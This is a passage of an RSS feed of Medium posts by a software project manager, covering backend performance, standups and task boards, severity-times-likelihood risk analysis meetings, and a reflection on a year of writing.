<strong>150 ms</strong>, a day-to-night change in the loading times we were used to.</p><h3>Wrapping up</h3><p>The key takeaway here is that, as your product grows, it will reach new levels of technical maturity. You and your team must keep up the pace. New technologies and auxiliary services are important, but the crucial thing here is being able to see different levels of abstraction, and understanding the whole system, not only being an expert on parts of it.</p><p>The latter was particularly important in this refactor. There was not — as there usually isn’t — a silver bullet to solve the performance problem on our Explore page. It took us time to sit back, review our architecture, analyze our possibilities, and refactor parts of our Marketplace that were affecting the specific performance issue at our hands.</p><p>Once we were done with our refactor, we even recorded a <a href="https://twitter.com/Luxy_io/status/1689294163349508097">video</a> showcasing the difference in performance for the same page for our community. It was a huge delivery from our team and one that I’m particularly proud of :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aef7c108923f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/design-bootcamp/how-three-strategic-moves-rescued-our-backends-performance-aef7c108923f">How Three Strategic Moves Rescued Our Backend’s Performance</a> was originally published in <a href="https://medium.com/design-bootcamp">Bootcamp</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Project Management 101: Back to Basics]]></title>
            <link>https://medium.com/@brunozimpel/project-management-101-back-to-basics-9128c532421f?source=rss-2b808477190b------2</link>
            <guid isPermaLink="false">https://medium.com/p/9128c532421f</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[leadership]]></category>
            <category><![CDATA[product-management]]></category>
            <category><![CDATA[project-management]]></category>
            <dc:creator><![CDATA[Bruno Zimpel]]></dc:creator>
            <pubDate>Mon, 07 Aug 2023 18:51:44 GMT</pubDate>
            <atom:updated>2023-08-07T18:51:44.855Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ELQlD3fpKLIBguS0" /><figcaption>Photo by <a href="https://unsplash.com/@anniespratt?utm_source=medium&amp;utm_medium=referral">Annie Spratt</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In the calmer waters of late last year, the company I worked for started an initial effort to standardize how we do project management across different projects. This was less about creating rigid adamant boxes that every project should fit in, and more about <strong>finding patterns of good practices that each PM could adapt to in their projects</strong>, without losing flexibility to manage differently the things that make them unique: a starting point for processes that make sense and create actual value to the day-to-day of the operation.</p><p>As the more senior PM at the company, it was assigned to me to make a brief presentation to the more junior PMs regarding what I see as these “basic processes” that every team should follow, to avoid known problems, keep the team delivering in a good pace, and improving over time.</p><p>When working on this presentation, I concluded that, in general, you only need three things process-wise to put your team in a good direction to move forward. Let’s get to it!</p><h3>A mechanism to document the source of truth</h3><p>What are the roots of all evil in whatever project you’re working on with a team? Miscommunication and misunderstanding. I cannot stress this enough.</p><p>And if you don’t believe me, just think about whatever delay you faced on your team: if you start asking several “whys”, you’ll get to miscommunication and/or misunderstanding at some point. Here are some examples that happened to me in the past <strong>month</strong>:</p><blockquote>Chatting with Mordin, a Fullstack Engineer on my team, responsible for fixing an issue we received from a security audit we did on the platform:</blockquote><blockquote>- Hey Mordin, I just received back the second report from the audit firm, after they re-tested the platform, and it seems our fix for the JWT Authentication problem didn’t solve the issue they reported in the first place. Why is that?</blockquote><blockquote>- Because they pointed out the problem is happening in our admin portal, and not in our marketplace, and we only addressed the problem in the marketplace.</blockquote><blockquote>- Why?</blockquote><blockquote>- Because we didn’t understand it was related to our admin portal.</blockquote><p>Misunderstanding.</p><blockquote>Chatting with Shepard, one of our Backend Engineers:</blockquote><blockquote>- Have you met with Joker to discuss the integration that is offline because our IP got blacklisted?</blockquote><blockquote>- Not yet, he never contacted me.</blockquote><blockquote>Chatting with Joker, our DevOps Engineer:</blockquote><blockquote>- Have you talked with Shepard about the integration that is offline because our IP got blacklisted?</blockquote><blockquote>- Not yet, he never contacted me.</blockquote><p>Miscommunication.</p><p>Both problems could be solved if the information was clearly described in some medium everyone has access to, such as a board of tasks. You can use whatever tool you’d like for that. Jira, GitLab, ClickUp, Notion, I don’t care. But please don’t use it carelessly.</p><p>Don’t add just a title and walk away. Properly describe each task that the team needs to address. Talk about the context, what is the goal with that task, what are the subtasks, and the steps to completion. You’ll spend 5/10 more minutes now, that will save you weeks in the future, trust me.</p><p><strong>In the first example</strong>, if a task described that the JWT Authentication problem was in the admin portal instead of the marketplace, we would have solved the problem several days before.</p><p>Even after the task is properly defined, your job — and the team’s — is not done. Decisions made regarding the tasks should be documented in the same tasks, as either comments or editions to the original description, so it’s always up-to-date regarding what needs to be done. <strong>In the last example</strong>, it could be a meeting schedule, or who was going to contact who, this sort of thing.</p><p>You’ll use it to track progress, see the cards moving around, closing tasks, sure. <strong>But that is not the complete value you take out of a board of tasks</strong>. Most of it comes from creating shared understanding and alignment across the team, <strong>a</strong> <strong>single source of truth</strong>.</p><p>Cool, but when the board will be updated with the news?</p><h3>A mechanism to get updates</h3><p>Ultimately, each person on a team is responsible for a set of tasks documented on a board. This means driving it to completion but also generating clarity on their status, road blockers, help needed, and so on.</p><p>In practice, as busy as our days get, sometimes not all these asynchronous updates happen and blockers are not always noted down. A cheap and easy way to remediate this is by having daily meetings.</p><p>The good-old Standup Meetings, in a remote-work world replaced by sitten-down daily calls. An interesting point to note here is that they are called Standup Meetings because, by design, it’s a fast meeting. So people stood up from their desks to talk for 5/10 min about the progress on tasks and road blockers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J1o54JakysFG8fUH" /><figcaption>Photo by <a href="https://unsplash.com/@anniespratt?utm_source=medium&amp;utm_medium=referral">Annie Spratt</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In a remote environment, is easy to lose track of this “agile nature” and use this gathering to have discussions that could be taken elsewhere and not cost as much. Remember, even a “just 30min” call with 8 people on it costs your company 4 man-hours every single day. In a week, that is 40 man-hours spent on a discussion that sometimes is relevant only for a handful of team members, and not the entire squad.</p><p>That being said, <strong>the meeting should be straight to the point</strong>. Every person goes one round and talks about:</p><ul><li>What you did do the previous day</li><li>What are your plans for the day</li><li>If you have any blockers</li></ul><p>The first two are to assure the correct things are being prioritized, the last point is to solve blockers. The whole team participates so we create shared clarity of the problems and priorities for the team.</p><p>In smaller teams, this is 5/10 min tops. Bigger teams 15/20min again, tops, meaning everyone has blockers to discuss. Realistically speaking, not a situation that your project should be in. If this hits too close to home, time to evaluate other organizational points in your squad.</p><p>During the meetings, did you notice someone going off the tracks from these three topics to discuss something else that they need? Stop and think if the conversation is relevant for the whole team or if it could be solved in a meeting with a smaller audience, maybe even a 1–1 between you and the Engineer. <strong>If the answer is yes</strong>, politely interrupt your colleague, and ask him to discuss it with you after the daily is done. That’s it, you just saved your company money while keeping the team effective, yay!</p><p>Now, when a bunch of “meetings could be emails”, should we have daily synchronous meetings? Can’t we just replace them with asynchronous discussions? Well, it depends.</p><p>One thing we cannot replace with emails is the interaction with the team. When you’re building an effective team of Engineers, you don’t want mercenaries. You want a well-oiled machine where things move forward smoothly. Sometimes, these 10/15 minutes a day is all the human contact they will get with their peers the whole day, and can make a difference in their work lives and, ultimately, in talent retention for your company.</p><p>But this is not truth always, and the team will work well and is happy regardless. My suggestion is to bring the team together in this dialogue and define what works best for you and them.</p><h3>A mechanism to close the loop</h3><p>Alright, calling this one “one of three things” is kind of cheating, because the concept is broad and it can be extended as much as your team can afford.</p><p>Even if the concept is broad, doesn’t mean it’s not simple. Consider this: you know that your team is moving forward, coding things out, solving problems, and being great. How do we make sure we’re continuously improving? Closing the loop and getting feedback.</p><p>Here, as a PM, you can create these mini-checkpoints on the operation to improve further and extrapole the concept as far as you’d like. Below are some examples:</p><ul><li>Do you want to make sure the codebase is growing cohesively and we’re having constant knowledge sharing among the engineers? Do peer reviews of the codebase.</li><li>Do you want to make sure the implemented feature/bug fix is working as it should? Do testing.</li><li>Do you want to review the processes define for the team and identify problems? Do Lessons Learned every once in a while.</li><li>Do you want to make sure each Engineer is moving up in their career? Do performance reviews.</li></ul><p><strong>Do something, stop and review it, adjust, repeat</strong>. Close the loop and get feedback. Even small improvements will make a difference in your team over time.</p><p>Defining which ones of these you should do is up to you. Identify the pain points and patterns of problems your team is having, and make sure you have something — a meeting, a ritual, a document, a focus time — in a certain frequency to go over what you tried to do to improve them and propose new things if needed.</p><h3>Wrapping up</h3><p>And that’s pretty much it! Some final regards:</p><p>As with everything else described in this article, as your team grows, managing it becomes trickier and more time and energy-consuming. So don’t think you won’t make mistakes or that the team members will never get an orthogonal understanding regarding the same topic, but if you follow what was described here, it will reduce these problems substantially.</p><p>Heck, I got those two examples out of several in the same month. They didn’t cause huge delays, but bumps on the road to success, and I consider myself pretty good at this stuff. The larger the team, the bigger the challenge.</p><p>And finally, you shouldn’t follow processes “just because”: this is a recipe for disaster. <strong>Understand their concept and goals</strong>, and you’ll avoid implementing something on your team that doesn’t make sense for your context, waste your time, and doesn’t get you anywhere :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9128c532421f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Navigating Uncertainty: Using Risk Analysis to Guide Your Project]]></title>
            <link>https://medium.com/@brunozimpel/navigating-uncertainty-using-risk-analysis-to-guide-your-project-259a55f9c5c2?source=rss-2b808477190b------2</link>
            <guid isPermaLink="false">https://medium.com/p/259a55f9c5c2</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[teamwork]]></category>
            <category><![CDATA[risk-analysis]]></category>
            <category><![CDATA[product-management]]></category>
            <category><![CDATA[project-management]]></category>
            <dc:creator><![CDATA[Bruno Zimpel]]></dc:creator>
            <pubDate>Mon, 10 Apr 2023 18:52:41 GMT</pubDate>
            <atom:updated>2023-04-10T18:52:41.371Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k_egSUWd1YD8NRnD" /><figcaption>Photo by <a href="https://unsplash.com/@dmjdenise?utm_source=medium&amp;utm_medium=referral">Denise Jans</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>It’s been a busy start of 2023 around here. At work, I started leading more squads working on different products. All the new context and onboarding took a heavy toll on my productivity, and writing has been tossed aside temporarily.</p><p>Slowly, I’m starting to get on top of things, so I’m finding time between one new meeting and the other to put some thoughts into <em>&quot;paper&quot;</em> again.</p><p>At one of these meetings, I was helping a new PM that started on a different project and was lost with all the chaos that was there before he joined. A lot of problems with organization, communication, and ill-defined next steps, both on the tech and the business side. Rocky road ahead with multiple unknowns.</p><p>In this conversation, I told him about Risk Analysis, and why it may be a good fit to reduce the pressure and uncertainty they have, also helping put things back on track again.</p><p>Afteward, I thought “This could be a Medium post”. And here we are :)</p><h3>Risk Analysis: the “what” and the “why”</h3><p>Plain simple, Risk Analysis is a process in which the team — or at least the project manager — sits down to assess the situation the project is in, specifically, what are the risks that may prevent the team from achieving a certain goal. This goal can be meeting a timeline, completing a milestone, having a successful launch, and so on. You get the idea.</p><p>Paradoxically, having a Risk Analysis meeting brings the most value to a team exactly when you think there is no time to have another project-manager-mumble-jumble ritual. When the project is in chaos, there are a lot of things happening at the same time, some of them actually going wrong, some on the verge of, and your outlook of things is going in either of two directions: 1) There is no way this is going to work out or 2) Where do I start?</p><p>And that’s because the result of a Risk Analysis will bring you <strong>perspective</strong>.</p><p>First, it will confirm if the project is really at a point of no return. Oftentimes, things seem direr than they are, and although you may have problems knocking on your door, they may be less scary than you thought at first. Having this reassurance can bring you comfort. On the other hand, if the project is in a bad shape, you may have the arguments and confirmation you need to bring this situation to upper management: things may be out of your control.</p><p>However, if you are in between these two scenarios — things are bad, but not that bad — the Risk Analysis will give you input on where to start to make things go right.</p><p>That being out of the way, let’s get to the juice of it: the <strong>how</strong>.</p><h3>Methodology</h3><p>At the core of it, the Risk Analysis will be a meeting where your team examines the main risks of your project and creates action points.</p><p>You can go as fancy as you’d like — create a point system, categorize entries, gamefy the whole thing — but I like to keep it simple and straight to the point: sit down, have a meeting with the team, debate and create table out of this discussion.</p><p>It’s not a simple table though, I’ll get to it.</p><h4>The Meeting</h4><p>The length of this encounter will depend of course on the size of the team, who will attend, the size of the project, and your perspective on the situation. It may be a whole day or an hour. Regardless, I suggest you separate more time than you think of first. In the best scenario, you will end up needing less time, and everyone gains a couple of hours back. In the worst scenario, you spent your team’s day in something meaningful that will give you a direction to move forward. A time well spent, if I may say so myself.</p><p>In my opinion, having the whole squad at the meeting will be always the way to go. Even if you are a star project manager and think you’re aware of <em>everything</em> that is going on, you really are not and have blind spots as well. Sorry to break it to you, buddy 🙃. Having these different points of view will be beneficial for the whole thing.</p><p>Now, if this is absolutely not possible: sure, do this solo or bring in a few people. The result will not be optimal, but it will be a cheaper process and will bring some value for you and your team as well.</p><p>However you defined you decided to go, make sure you have a board or an easy way to share your screen and take notes, and that everyone understands the goal that is at risk: is it meeting a deadline? Is it completing a milestone? Is it launching a new feature? Once this is defined and everyone is in agreement, you’re ready to start.</p><h4>The Process — Part I — Make a list</h4><p>Alright, you have the whole day booked for this Risk Analysis thing, everyone is comfy wherever they are, you have a board in front of you and you’re ready to rock! Now what?</p><p>Let’s break it down into 4 parts.</p><p>To start, you’ll go in turns, everyone saying an aspect of the project they feel is a potential risk for the team to not achieve the goal. Things shouldn’t be rushed: for each aspect, take your time discussing it and refining it as needed. Once this is done, write it down on the board.</p><p>Mind that the team should be in agreement with reasonable aspects of the project and keep the discussion <em>relevant</em>. A meteor may fall in the company headquarters ending the project altogether? Yes. Does it make sense to spend time in this meeting discussing it? No.</p><p>At the end of the first round, you should have a list, looking more or less like this:</p><blockquote>- There is no way of integrating the security feature X into the iOS application<br>- The design of screen Z has too much information to fit on an Android screen, so we&#39;ll have to revisit the user flow M<br>- The third-party library Y doesn&#39;t have the endpoint A that we&#39;ll need for feature W<br>- The lead developer, Richard, is reallocated to another project part-time, reducing the time he can do peer-review<br>- The business definition of feature T is not defined until the date U<br>- ...</blockquote><p>Note that this list contains items related to business, tech, resource allocation, design, and so on. And that is exactly the goal: have input from all sides, and define a comprehensive catalogue of the state and worries about the project.</p><p>Satisfied with the list? It already started creating clarity, but there is still no direction. How do these different aspects relate to each other? Where should you start focusing first? Let’s go to the next step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UpWDSOE2q-ksu4_J" /><figcaption>Photo by <a href="https://unsplash.com/@anne_rose?utm_source=medium&amp;utm_medium=referral">Anne Rosly</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>The Process — Part II — Make a table</h4><p>Now we get to the second round of the meeting, where your team will go over each item on the list, and define the value of two dimensions of it: severity and likelihood, from 1 to 5.</p><p><strong>Severity</strong> talks about the impact that the aspect will have on the project if that ends up happening. A severity of <strong>5</strong> means something catastrophic, that jeopardizes the whole operation. A severity of <strong>1</strong> means something that you’ll guys will have little to no trouble working around it. Again, the team should be in agreement on the number. Take the time to discuss it until everyone is satisfied.</p><p>The <strong>Likelihood</strong>, self-explanatory, is the possibility of that aspect becoming true. A <strong>5</strong> here should be used when the team is sure that it will happen at some point. On the other hand, a <strong>1</strong> is a low probability of that aspect coming to exist.</p><p>This will spark some interesting discussion once again. You may even remove one or two points from this list, if the team realizes it has severity or likelihood of <strong>zero</strong>, meaning it will have no impact or it will not happen, respectively.</p><p>By the end of this round, you’ll have a nice table, something as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xi76PAML2fi3Qu6Jo8jK4g.png" /><figcaption>Nice-looking table</figcaption></figure><p>We’re almost done, now we enter the final phase!</p><h4>The Process — Part III — Finding the Risk</h4><p>We spoke about goals, aspects, severity, likelihood, and a lot of discussions, but when we put the “Risk” in “Risk Analysis”? That will be about now, my eager beaver of a reader.</p><p>We’ll add a new column to our table: “Risk”, which will be nothing more, nothing less, than the multiplication of the two existing dimensions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0PRhipVdKu4hE5aqLCiReA.png" /><figcaption>Nice-looking table, added some risk</figcaption></figure><p>We are almost seeing the complete picture! The final touch? Sorting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U63qJ5RwPlbBQKeqGFU9bA.png" /><figcaption>Nice-looking table, added some risk and sorted</figcaption></figure><p>BOOM. Now you have a list of all aspects of your project that may prevent you from achieving the previously defined goal, closing the loop.</p><p>Well, we closed the loop, but not the meeting yet.</p><h4>The Process — Part IV — Defining directions</h4><p>The beauty of defining the risk following this method is that you can reduce it in two different ways: you either reduce the potential severity or its likelihood. So the actions defined can target either of these points.</p><p>Some examples in this table could be:</p><ul><li>1) For #3, the team could define a backup library to be used for feature W, thus reducing the severity or reviewing the endpoints, which may lead to a likelihood of 0.</li><li>2) For #5, the PM could renegotiate the date U, thus reducing the likelihood, or break the definition into parts, and have the ones that may block the development team done first, thus reducing the severity of the complete lack of definition.</li><li>3) For #4 the PM can talk to HR, and lock the resource Richard on the project until a defined date, thus reducing the likelihood, or have him do some notes and/or presentation to pass some knowledge to the team, reducing the severity</li></ul><p>Use this to define the next actions, and prioritize what should be done to reduce the risks, and you will start seeing light at the end of the tunnel!</p><h3>Wrapping up</h3><p>Alright, this article already went longer than usual, but there are still two points that I find relevant to the discussion.</p><p>First, regarding the <strong>frequency </strong>which<strong> </strong>you should do these meetings. There is really nothing written in stone, and you should run away from people that say otherwise.</p><p>If your project is indeed a rolling bucket of missed deadlines on fire, it may be relevant to have <strong>daily follow-ups</strong>, assessing if your team is moving forward in the right direction, checking if all the aspects that put the project at risk are still the same and if the squad is taking the right actions to put the project back on track.</p><p>On the other side of the spectrum, if you’re team is working fine, achieving all goals, and everyone is satisfied with the deliveries, you won’t even need to know about what a Risk Analysis is! Also, congrats, you won a star for that: ⭐️</p><p>You can use Risk Analysis as a prioritization methodology for a while, but if you are always reducing risks and never actively building, there may be a deeper problem to investigate there.</p><p>So on frequency? You know your context better than anyone else, now that you know about the process, you can go ahead and do as it works best for you.</p><p>The second point is <strong>the most common objection</strong>:</p><blockquote>I’m in the middle of twelve missed deadlines and twenty-four calls a day! I don’t have time for it!</blockquote><p>Well, you should make the time for it. <strong>Turn the telescope around</strong>, and try to see things from a broader aspect! If you’re having twenty-four calls a day and are in the middle of twelve missed deadlines, would one day out going over the problems really make a difference and delay things, compared to the potential of putting you and your team back in the game?</p><p>I didn’t think so. Good luck!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=259a55f9c5c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Year of Writing on Medium]]></title>
            <link>https://medium.com/@brunozimpel/a-year-of-writing-on-medium-12a98cd79f86?source=rss-2b808477190b------2</link>
            <guid isPermaLink="false">https://medium.com/p/12a98cd79f86</guid>
            <category><![CDATA[personal]]></category>
            <category><![CDATA[writing]]></category>
            <dc:creator><![CDATA[Bruno Zimpel]]></dc:creator>
            <pubDate>Tue, 13 Dec 2022 19:44:03 GMT</pubDate>
            <atom:updated>2022-12-13T19:44:03.805Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VmGpCOE2oX7yR9I7" /><figcaption>Photo by <a href="https://unsplash.com/@amadorloureiro?utm_source=medium&amp;utm_medium=referral">Amador Loureiro</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>It’s been roughly a year since my first published article on Medium. This will be my twelfth piece, and it will be a different one. If you are here for the usual tech/management content, feel free to skip it (thanks for stopping by though)!</p><p>As the end of the year approached, I thought about why I started writing in the first place, and how the experience has been so far. Less because I’m out of subjects to talk about, and more because of the introspective vibes this time of the year brings in.</p><p>I didn’t plan to do anything like the “Look at my Medium Metrics after 1 Year” kind of thing. Instead, what follows is a semi-organized train of thought regarding why I started writing, how is my “process” for doing so, and things I learned this year.</p><h3>Context and setting up</h3><p>I have always liked to write. It has helped me study and deeply understand topics, since high school, college, and to this day in my professional life. It puts my thoughts in place at work and in my personal life and guides me through bad moments. But most of all, it is something that I genuinely enjoy doing. Just put on a soundtrack in the background and write for a couple of hours.</p><p>However, apart from high school and college, writing has always been something personal, and there was nothing much motivating to me about writing “shareable” content. Apart from that, having other people reading my stuff always evokes high school, where I wrote mostly to get good grades and there was a whole lot of competition between classmates. Nothing encouraging to begin with.</p><p>This changed in recent years. Looking back, two factors got me to start writing more. First, from therapy. If I always liked to write, and if this is still the case, why not bring more of this into my daily life?</p><p>And second, from my professional life. I got great positive feedback from my peers regarding the way I could organize my thoughts into clear and straightforward documentation and share my ideas. And then, when I start mentoring people, it struck me that I had relevant things to say that could be valuable for other people as well. This also solved the question “what would I write about?”. Well, learnings and experiences I had in the tech industry.</p><p>Alright, I had in mind that writing more would be cool and had some ideas of what I could start with. Now what?</p><p>The choice of the medium came first. To be honest, writing on Medium was mostly the path of lower resistance here. I could have gone with a personal blog, but Medium was easier to set up, they have good formatting capabilities, and a nice aesthetics to it, and the integration with Unsplash comes in handy. In the background, there is also their distribution feature and the publications, which although not my priority, wouldn’t hurt.</p><p>Making it public was also a good commitment to make it happens and I just wouldn’t drop writing after a couple of weeks. Although I didn’t externalize the goal of publishing at least once a month, this number was at the back of my mind throughout the whole year.</p><p>Next up: language choice. Writing about it here makes it looks like that was a conscious choice made, but in reality, it wasn’t the case, I just started writing in English and that was it. Looking back though, there were other options.</p><p>First of all, I’m from Brazil, so Portuguese would be the obvious choice. Even if I aspire to make some money out of this, there is far more content similar to mine written in English than in Portuguese. As I don’t, that’s not an issue.</p><p>Secondly, I could have gone with Italian. I was learning Italian back then, and having this challenge would push me forward that goal. But I didn’t. Instead, I just started writing in English right off the bat.</p><p>Thinking it through, it may be because most of the concepts I write about I learned in English through mentors/courses/articles/classes/etc. Other than that, I used to work in an English-first company, so all my interactions (written and spoken) were in English. Either way, this choice also helped me learn new things regarding popular expressions and grammar. Lastly, I like doing it that way, which should count for something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*exKhlu9FzZLApBru" /><figcaption>Photo by <a href="https://unsplash.com/@umby?utm_source=medium&amp;utm_medium=referral">Umberto</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Experience and writing process</h3><p>It took me a lot of time to publish <a href="https://medium.com/design-bootcamp/cognitive-biases-in-product-management-and-why-you-should-care-3b64f3c86af0">the first one</a>. I don’t recall when I started, by I opened it for review (shout out to <a href="https://mfrata.com/">MFrata</a> and <a href="https://www.linkedin.com/in/larissa-de-carvalho-tavares-santana-63917441/">Larissa</a> for it) around June/21. The review did take more time than expected, but I still only published it in December. Fear, insecurity, and a portion of procrastination played a large role in this delay.</p><p>Back then, I created a GitHub repo to host all articles. I write them as org-mode files, create PRs for each one for review, and once it’s done I migrate them to Medium. I usually don’t lose any formatting in the process, so more points to Medium for it.</p><p>I got the idea of org-mode, GitHub, and PRs from how we organized documentation in my previous company. Having this structure helps keep things organized, versioned, check for changes, and so on. It still suits me well, so I’ll keep the same organization moving forward. At least for now.</p><p>After this first one, things got easier. The fastest article I did took between 1 to 2 days, and the longest was between 2 to 3 weeks. Reviews can take a while, but I usually don’t bother with them that much nowadays. As I mentioned, I set the internal goal of publishing at least once a month, and if I’m satisfied with what I wrote, I usually ship it without waiting for reviews.</p><p>The only review that I do not give up is my 1-day-after review. After I’m done with a piece, I let it sit for one day, and take a look at it with fresh eyes. The majority of changes come from this.</p><p>The flow of ideas is interesting, to say the least. Even when I was writing the first one, I started to have ideas of what I could write about next. I created a brain-dump file, and usually put 4/5 bullet points of a topic together to be considered later.</p><p>New topics are added to this file whenever I have a new idea, and these come usually from discussions I have at work or with friends, or during the writing process of an article when I start getting off-topic during early drafts.</p><p>Sometimes, if the subject is in my mind for a long time, the article almost writes itself in my head. It is just a matter of putting it into paper, organizing the ideas into sections, polishing it up — mostly cutting things -, and running it through Grammarly, and I would be good to go.</p><p>Other times, finishing a started piece is hard. On these, having the internal commitment of publishing once a month pushes me through the last few paragraphs. Some of the articles I liked the most turned out to be these, so I’m not sure if it affects the quality of the work itself.</p><p>And speaking of cutting things off, most of editing and reviewing is about it. There is even a quote that stuck with me after listening to in the “On Writing” memoir book from Stephen King, regarding some feedback he got from a reviewer on his first stories: “Not bad, but PUFFY. You need to revise for length. <strong>Formula: 2nd Draft = 1st Draft — 10%</strong>. Good luck.”.</p><h3>Concluding</h3><p>In 2022, I stayed around 6 months abroad, and writing helped me through some tough times of being far away from the people I cared about and missed. Overall, I don’t see it as a therapy of any kind and I still do it simply because I enjoy it. For me, it’s fun and rewarding in itself.</p><p>And, if I ever stop appreciating it or start seeing it more as a commitment than anything else, I might as well just drop it. But <em>*in a braavosi accent</em>*, not today.</p><p><strong>Wrapping up</strong>: 10/10 would do it again, let’s see what 2023 holds! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12a98cd79f86" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>